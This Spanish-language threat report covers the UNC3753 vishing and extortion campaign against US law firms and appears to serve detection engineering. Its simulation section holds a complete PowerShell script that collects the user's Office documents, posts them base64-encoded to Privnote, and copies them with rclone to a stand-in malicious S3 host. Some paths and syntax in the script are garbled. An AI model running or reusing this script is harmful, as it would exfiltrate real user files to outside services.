Buscando Asesoramiento: Ataques Dirigidos Ongoing Contra Firmas de Abogados en EE.UU.

Resumen

Un grupo de amenazas motivado financieramente, rastreado como UNC3753, está llevando a cabo campañas de vishing que engañan a las víctimas para que instalen software de monitoreo y gestión remota. Una vez establecido el acceso, los actores roban información legal y financiera sensible y luego extorsionan a la organización víctima amenazando con la exposición pública. La campaña se centra en empresas de servicios profesionales de EE.UU., particularmente bufetes de abogados, y puede implicar tanto el robo de datos habilitado por cibertecnología como el físico.

Investigación

Mandiant observó el ciclo completo de intrusión, desde la llamada inicial de vishing hasta el robo de datos y la extorsión, a veces dentro de un solo día hábil. Las víctimas fueron convencidas para usar herramientas de compartir pantalla y software RMM como AnyDesk, Bomgar o un instalador SuperOps personalizado entregado con un comando curl. La exfiltración de datos se llevó a cabo utilizando herramientas como WinSCP, Rclone, o subidas directas a cuentas de almacenamiento en la nube de consumidores.

Mitigación

Las organizaciones deben capacitar al personal para reconocer intentos de vishing, aplicar procedimientos de verificación estrictos para cualquier solicitud de soporte remoto y bloquear herramientas no autorizadas de RMM y compartir pantalla. Deshabilitar medios extraíbles, monitorear transferencias de salida inusuales a almacenamiento en la nube o destinos FTP, aplicar controles de acceso condicional a VDI, y aplicar MFA en repositorios críticos de documentos puede reducir aún más el riesgo.

Respuesta

Si se detecta esta actividad, aisle inmediatamente el punto final afectado, termine cualquier sesión remota no autorizada, y elimine los binarios de RMM instalados. Los investigadores deben recopilar el historial de línea de comandos, cambios en el registro y artefactos de tareas programadas para revisión forense. Las credenciales comprometidas deben ser restablecidas, la exfiltración de datos debe ser evaluada, y considerar el compromiso con las fuerzas del orden si la extorsión ha comenzado.

Ejecución de Simulación

Requisito Previo: La Verificación Previa de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.

• Narrativa de Ataque y Comandos:

  1. Reconocimiento y Preparación de Datos (T1005, T1083):
     El adversario enumera los directorios de usuario y copia todos los *.docx and *.xlsx archivos a una carpeta de preparación C:TempStagedData.

  2. Subida a través de Privnote (T1567.002):
     Usando PowerShell, el atacante lee cada archivo, codifica el contenido en base‑64, y lo publica en https://privnote.com/api/note. La línea de comandos incluye la URL, que satisface la condición de selección_privnote. Transferencia con Rclone (T1020):

  3. Transfer with Rclone (T1020):
     El atacante ejecuta rclone.exe (descargado sobre la marcha) para enviar los archivos preparados a un bucket malicioso de S3. El nombre del proceso «rclone.exe» coincide con la herramienta de selección.

  4. Limpieza: Eliminar la carpeta de preparación y cualquier binario residual.

• Script de Prueba de Regresión: (PowerShell – autónomo, sin dependencias externas más allá de Invoke-WebRequest.)

  # -------------------------------------------------
  # Simulación de Exfiltración de UNC3753 – PowerShell
  # -------------------------------------------------
  # 1. Preparar directorio de preparación
  $staging = "$env:USERPROFILETempStagedData"
  New-Item -ItemType Directory -Force -Path $staging | Out-Null
  
  # 2. Copiar datos de muestra (simular recolección de datos)
  Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue |
      ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force }
  
  # 3. Cargar cada archivo a Privnote (exfiltración web‑servicio)
  $privnoteUrl = "https://privnote.com/api/note"
  Get-ChildItem -Path $staging -File | ForEach-Object {
      $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName))
      $body = @{ text = $content }
      # La URL aparece en la línea de comando -> activa selección_privnote
      Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null
  }
  
  # 4. Descargar Rclone (si no está presente) y exfiltrar vía S3
  $rcloneExe = "$env:TEMPrclone.exe"
  if (-not (Test-Path $rcloneExe)) {
      Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip"
      Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force
      Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force
  }
  
  # Configurar un bucket S3 remoto (malicioso) – la configuración se escribe en un archivo temporal
  $rcloneConfig = @"
  [malicioso
  type = s3
  provider = AWS
  access_key_id = AKIAFAKEKEY
  secret_access_key = fakeSecretKey123
  region = us-east-1
  endpoint = https://malicious-s3.example.com
  "@
  $configPath = "$env:TEMPrclone.conf"
  $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII
  
  # Ejecutar rclone copy - el nombre del proceso "rclone.exe" activa herramienta de selección
  & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO
  
  # 5. Limpieza
  Remove-Item -Recurse -Force $staging
  Remove-Item -Force $rcloneExe, $configPath

• Comandos de Limpieza:

  # Terminar cualquier proceso WinSCP o Rclone persistente
  Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Borrar archivos temporales dejados (si los hay)
  Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue

Fin del Informe